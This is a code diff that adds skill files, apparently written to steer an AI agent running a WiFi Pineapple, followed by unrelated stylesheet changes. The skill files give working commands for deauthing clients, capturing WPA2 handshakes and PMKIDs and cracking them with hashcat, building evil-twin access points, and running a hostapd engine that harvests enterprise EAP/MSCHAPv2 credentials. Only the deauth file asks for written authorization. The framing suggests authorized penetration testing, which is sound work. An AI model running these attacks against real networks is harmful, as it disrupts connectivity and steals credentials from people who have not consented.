|
||||
name: aircrack-suite
|
||||
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
|
||||
---
|
||||
|
||||
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
|
||||
|
||||
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
|
||||
|
||||
## Installation (factory-reset recovery)
|
||||
|
||||
```sh
|
||||
opkg update
|
||||
opkg install aircrack-ng hcxtools
|
||||
```
|
||||
|
||||
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
|
||||
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
|
||||
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
|
||||
|
||||
## Target capture
|
||||
|
||||
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
|
||||
|
||||
```sh
|
||||
ip link set wlan1mon up
|
||||
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
|
||||
```
|
||||
|
||||
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
|
||||
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
|
||||
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
|
||||
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
|
||||
|
||||
## PMKID hunt (hashcat -m 22002)
|
||||
|
||||
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
|
||||
|
||||
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
|
||||
- Extract on-device or locally:
|
||||
```sh
|
||||
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
|
||||
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
|
||||
hashcat -m 22002 out.22002 -a 0 <wordlist>
|
||||
```
|
||||
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
|
||||
|
||||
## Pitfalls
|
||||
|
||||
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
|
||||
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
|
||||
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
|
||||
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
|
||||
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
|
||||
@@ -0,0 +1,148 @@
|
||||
---
|
||||
name: pineapple-control
|
||||
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
|
||||
---
|
||||
|
||||
# Pineapple Control (Pager / FENRIS)
|
||||
|
||||
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
|
||||
|
||||
## Hardware / radios
|
||||
|
||||
| Radio | Hardware | Interfaces | Notes |
|
||||
|---|---|---|---|
|
||||
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
|
||||
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
|
||||
|
||||
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
|
||||
|
||||
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
|
||||
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
|
||||
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
|
||||
APs on other channels are invisible to recon — even when `hop=1` is set.
|
||||
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
|
||||
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
|
||||
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
|
||||
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
|
||||
uplink is up.
|
||||
|
||||
## pineapd crash stack (Pager 24.10.1 — all five verified)
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
|
||||
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
|
||||
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
|
||||
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
|
||||
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
|
||||
|
||||
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
|
||||
|
||||
## Standalone PineAPE enterprise engine (field-verified)
|
||||
|
||||
The stock daemon's enterprise AP config generation is BROKEN on this build
|
||||
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
|
||||
802.1X configuration (no EAP authenticator configured)"). Working engine,
|
||||
run entirely by Mark VIII on phy1 outside the daemon's interface set:
|
||||
|
||||
```sh
|
||||
iw phy phy1 interface add wlan1ent type managed
|
||||
iw dev wlan1ent set type ap && ip link set wlan1ent up
|
||||
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
|
||||
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
|
||||
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
|
||||
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
|
||||
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
|
||||
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
|
||||
```
|
||||
|
||||
Captured credentials flow to pineapd's socket and land in
|
||||
`hostap_basic` / `hostap_chalresp` in recon.db. Mark VIII exposes them as
|
||||
EAP identities + MSCHAPv2 (RADIUS inner-auth equivalent) at
|
||||
`/api/pineap/enterprise/radius`, with hashcat `-m 5500` and john `netntlm`
|
||||
export. The Pager is an EAP terminator (PineAPE), not a UDP/1812 RADIUS
|
||||
proxy. Tear down: kill the pidfile pid, `iw dev wlan1ent del`, resume hop.
|
||||
|
||||
## Access
|
||||
|
||||
```sh
|
||||
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
|
||||
```
|
||||
|
||||
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
|
||||
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
|
||||
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
|
||||
|
||||
## What runs on the box
|
||||
|
||||
| Process | Managed by | Purpose | Socket |
|
||||
|---|---|---|---|
|
||||
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
|
||||
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
|
||||
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
|
||||
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
|
||||
|
||||
## Command surface
|
||||
|
||||
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
|
||||
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
|
||||
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
|
||||
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
|
||||
|
||||
## Config & persistence (the hard-won rules)
|
||||
|
||||
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
|
||||
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
|
||||
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
|
||||
```sh
|
||||
cp /etc/config/wireless /etc/config/wireless.bak
|
||||
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
|
||||
wifi reload
|
||||
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
|
||||
```
|
||||
|
||||
## pineapd health & the crash-loop
|
||||
|
||||
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
|
||||
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
|
||||
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
|
||||
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
|
||||
|
||||
## Recon DB
|
||||
|
||||
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
|
||||
|
||||
## Captures
|
||||
|
||||
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
|
||||
```sh
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
|
||||
```
|
||||
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
|
||||
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
|
||||
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
|
||||
```sh
|
||||
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
|
||||
```
|
||||
- Stop captures: `killall tcpdump` (`pkill` missing).
|
||||
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
|
||||
|
||||
## Verification & troubleshooting
|
||||
|
||||
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
|
||||
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
|
||||
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
|
||||
|
||||
## Teardown & hygiene
|
||||
|
||||
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
|
||||
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
|
||||
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
|
||||
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
|
||||
@@ -0,0 +1,138 @@
|
||||
---
|
||||
name: wifi-deauth
|
||||
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
|
||||
---
|
||||
|
||||
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
|
||||
|
||||
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
|
||||
|
||||
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
|
||||
|
||||
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
|
||||
|
||||
## 1. Discover target APs (passive recon first)
|
||||
|
||||
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
|
||||
|
||||
```sh
|
||||
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
|
||||
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
|
||||
```
|
||||
|
||||
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
|
||||
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
|
||||
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
|
||||
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
|
||||
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
|
||||
|
||||
## 2. Deauth (the working method)
|
||||
|
||||
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
|
||||
|
||||
```sh
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
|
||||
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
|
||||
```
|
||||
|
||||
- MACs with colons work. Channel should be the AP's actual channel.
|
||||
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
|
||||
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
|
||||
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
|
||||
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
|
||||
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
|
||||
|
||||
## 3. Channel pinning — what works and what crashes
|
||||
|
||||
| Method | Result |
|
||||
|---|---|
|
||||
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
|
||||
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
|
||||
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
|
||||
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
|
||||
|
||||
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
|
||||
|
||||
## 4. Handshake capture — where built-in capture fails and the workaround
|
||||
|
||||
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
|
||||
|
||||
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
|
||||
|
||||
**Field-verified 2026-08-19 — the passive capture is GOLD (better than the twin):**
|
||||
pineapd's `handshake` table captures a full 4-way for ANY nearby AP the
|
||||
monitor can hear, even when the client refuses the evil twin entirely. In a
|
||||
live engagement, a target client (Nintendo Switch 2) got `auth status=1`
|
||||
rejections from the karma twin and never associated — but when it
|
||||
reconnected to the REAL AP, pineapd logged:
|
||||
`[HANDSHAKE] handshake AP <real-bssid> CLIENT <mac> crackable [B,1,2,3,4]`
|
||||
and wrote both `.pcap` + `.22000` files to `/root/loot/handshakes/` on its
|
||||
own. The monitor must be on the real AP's channel (on this lab unit the
|
||||
2.4 GHz monitor is pinned to the uplink's channel — see pineapple-control).
|
||||
The exported hashcat line verified against the target SSID:
|
||||
`WPA*02*<mic>*<apbssid>*<clientmac>*<ssid-hex>` — direct `hashcat -m 22000` input.
|
||||
Clients that DO associate to the twin also produce `hostap_handshake` rows
|
||||
(roaming client verified), so both paths produce loot.
|
||||
|
||||
```sh
|
||||
# single session: background tcpdump, run deauth rounds, listen, kill.
|
||||
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
|
||||
... deauth bursts on the same channel ...
|
||||
sleep <listen window, e.g. 60-90s>
|
||||
kill $TDPID
|
||||
```
|
||||
|
||||
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
|
||||
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
|
||||
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
|
||||
|
||||
Analysis one-liners:
|
||||
```sh
|
||||
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
|
||||
tshark -r cap -Y eapol -c 10 # 4-way keys
|
||||
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
|
||||
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
|
||||
```
|
||||
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
|
||||
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
|
||||
|
||||
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
|
||||
|
||||
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
|
||||
|
||||
**Verified tell-tales on the lab venue:**
|
||||
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
|
||||
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
|
||||
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
|
||||
|
||||
A fresh 4-way occurs only on:
|
||||
1. A **brand-new client's first association** (new person/device arriving), or
|
||||
2. A **GTK rekey** (AP-side, typically hourly).
|
||||
|
||||
Mitigations / planning:
|
||||
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
|
||||
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
|
||||
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
|
||||
|
||||
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
|
||||
|
||||
```sh
|
||||
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
|
||||
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
|
||||
|
||||
## 7. Report language when no handshake is captured
|
||||
|
||||
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
|
||||
|
||||
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
|
||||
|
||||
## 8. Teardown
|
||||
|
||||
```sh
|
||||
killall tcpdump # pkill is NOT on this BusyBox
|
||||
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
|
||||
```
|
||||
|
||||
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
|
||||
@@ -62,6 +62,10 @@ body {
|
||||
align-items: center; justify-content: center;
|
||||
}
|
||||
.toolbar-icon-btn:hover, .toolbar-icon-btn:focus-visible { background: rgba(255,255,255,.12); outline: none; }
|
||||
.toolbar-icon-btn:disabled, .toolbar-icon-btn.busy,
|
||||
.menu-link:disabled, .menu-link.busy {
|
||||
opacity: .45; cursor: wait; pointer-events: none;
|
||||
}
|
||||
.toolbar-icon-btn svg { width: 24px; height: 24px; display: block; }
|
||||
#terminal-btn.active, #pager-btn.active, .toolbar-icon-btn[aria-expanded="true"] {
|
||||
background: #1976d2; color: #fff;
|
||||
@@ -185,19 +189,41 @@ body {
|
||||
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
|
||||
.badge.on { background: #e8f5e9; color: #2e7d32; }
|
||||
.badge.off { background: #fff3e0; color: #e65100; }
|
||||
.badge.warn { background: #fff8e1; color: #f57f17; }
|
||||
.badge.unknown { background: #eeeeee; color: #616161; }
|
||||
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
|
||||
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
|
||||
.health-chip.warn { background: #fff8e1; color: #f57f17; }
|
||||
.health-chip.bad { background: #fdecea; color: #b71c1c; }
|
||||
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
|
||||
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
|
||||
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
|
||||
.btn {
|
||||
background: var(--primary); color: #fff; border: 0; border-radius: 2px;
|
||||
padding: 8px 14px; font-size: 14px; cursor: pointer;
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,.3);
|
||||
}
|
||||
.btn:hover { background: var(--primary-dark); }
|
||||
.btn:disabled, .btn.busy { opacity: .5; cursor: default; pointer-events: none; }
|
||||
.btn.ghost {
|
||||
background: transparent; color: var(--primary); box-shadow: none;
|
||||
border: 1px solid var(--primary);
|
||||
}
|
||||
.btn.danger { background: var(--danger); }
|
||||
.btn:disabled, .btn.busy {
|
||||
background: #9e9e9e; color: #fafafa; opacity: 1;
|
||||
cursor: wait; pointer-events: none; box-shadow: none;
|
||||
}
|
||||
.btn.ghost:disabled, .btn.ghost.busy {
|
||||
background: var(--surface-alt); color: var(--muted);
|
||||
border-color: var(--border);
|
||||
}
|
||||
.btn.danger:disabled, .btn.danger.busy { background: #9e9e9e; color: #fafafa; }
|
||||
html.dark .btn:disabled, html.dark .btn.busy {
|
||||
background: #616161; color: #eeeeee;
|
||||
}
|
||||
html.dark .btn.ghost:disabled, html.dark .btn.ghost.busy {
|
||||
background: var(--surface-alt); color: var(--muted);
|
||||
}
|
||||
input, select {
|
||||
background: var(--surface); color: var(--text); border: 1px solid var(--border);
|
||||
border-radius: 2px; padding: 8px 10px; width: 100%;
|
||||
@@ -285,6 +311,9 @@ pre.logs {
|
||||
.switch input:checked + .track::after { left: 22px; }
|
||||
.switch input:indeterminate + .track { background: #9e9e9e; }
|
||||
.switch input:indeterminate + .track::after { left: 12px; }
|
||||
.switch:has(input:disabled), .switch:has(input.busy) {
|
||||
opacity: .55; cursor: wait; pointer-events: none;
|
||||
}
|
||||
